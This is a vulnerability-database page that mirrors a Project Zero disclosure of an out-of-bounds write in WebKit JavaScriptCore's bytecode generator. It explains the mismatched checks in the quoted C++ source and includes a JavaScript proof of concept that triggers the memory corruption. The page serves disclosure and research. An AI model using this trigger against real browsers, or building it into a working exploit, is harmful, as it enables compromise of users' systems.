Lucene search
K

WebKit JSC - Incorrect Check in emitPutDerivedConstructorToArrowFunctionContextScope

🗓️ 01 Jun 2017 00:00:00Reported by Google Security ResearchType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 48 Views

WebKit JSC - Incorrect Check in emitPutDerivedConstructorToArrowFunctionContextScope - Potential OOB Writ

Code
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1173

When a super expression is used in an arrow function, the following code, which generates bytecode, is called.

if (needsToUpdateArrowFunctionContext() && !codeBlock->isArrowFunction()) {
    bool canReuseLexicalEnvironment = isSimpleParameterList;
    initializeArrowFunctionContextScopeIfNeeded(functionSymbolTable, canReuseLexicalEnvironment);
    emitPutThisToArrowFunctionContextScope();
    emitPutNewTargetToArrowFunctionContextScope();
    emitPutDerivedConstructorToArrowFunctionContextScope();
}

Here's |emitPutDerivedConstructorToArrowFunctionContextScope|.

void BytecodeGenerator::emitPutDerivedConstructorToArrowFunctionContextScope()
{
    if ((isConstructor() && constructorKind() == ConstructorKind::Extends) || m_codeBlock->isClassContext()) {
        if (isSuperUsedInInnerArrowFunction()) {
            ASSERT(m_arrowFunctionContextLexicalEnvironmentRegister);
            
            Variable protoScope = variable(propertyNames().builtinNames().derivedConstructorPrivateName());
            emitPutToScope(m_arrowFunctionContextLexicalEnvironmentRegister, protoScope, &m_calleeRegister, DoNotThrowIfNotFound, InitializationMode::Initialization);
        }
    }
}

|emitPutToScope| is directly called without resolving the scope. This means the scope |m_arrowFunctionContextLexicalEnvironmentRegister| must have a place for |derivedConstructorPrivateName|. And that place is secured in the following method.

void BytecodeGenerator::initializeArrowFunctionContextScopeIfNeeded(SymbolTable* functionSymbolTable, bool canReuseLexicalEnvironment)
{
    ASSERT(!m_arrowFunctionContextLexicalEnvironmentRegister);

    if (canReuseLexicalEnvironment && m_lexicalEnvironmentRegister) {
        ...
        if (isConstructor() && constructorKind() == ConstructorKind::Extends && isSuperUsedInInnerArrowFunction()) {
            offset = functionSymbolTable->takeNextScopeOffset(NoLockingNecessary);
            functionSymbolTable->set(NoLockingNecessary, propertyNames().builtinNames().derivedConstructorPrivateName().impl(), SymbolTableEntry(VarOffset(offset)));
        }
        ...
    }
    ...
}

But the problem is that the checks in |emitPutDerivedConstructorToArrowFunctionContextScope| and |initializeArrowFunctionContextScopeIfNeeded| are slightly diffrent.

BytecodeGenerator::initializeArrowFunctionContextScopeIfNeeded:
if (isConstructor() && constructorKind() == ConstructorKind::Extends && isSuperUsedInInnerArrowFunction())

BytecodeGenerator::emitPutDerivedConstructorToArrowFunctionContextScope:
if ((isConstructor() && constructorKind() == ConstructorKind::Extends) || m_codeBlock->isClassContext()) {
    if (isSuperUsedInInnerArrowFunction()) {

Note: " || m_codeBlock->isClassContext()".

So, in a certain case, it fails to secure the place for |derivedConstructorPrivateName|, but |emitPutToScope| is called, which results in an OOB write.

PoC:
*/

let args = new Array(0x10000);
args.fill();
args = args.map((_, i) => 'a' + i).join(', ');

let gun = eval(`(function () {
    class A {

    }

    class B extends A {
        constructor(${args}) {
            () => {
                ${args};
                super();
            };

            class C {
                constructor() {
                }

                trigger() {
                    (() => {
                        super.x;
                    })();
                }
            }

            return new C();
        }
    }

    return new B();
})()`);

for (let i = 0; i < 0x10000; i++)
    gun.trigger();

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation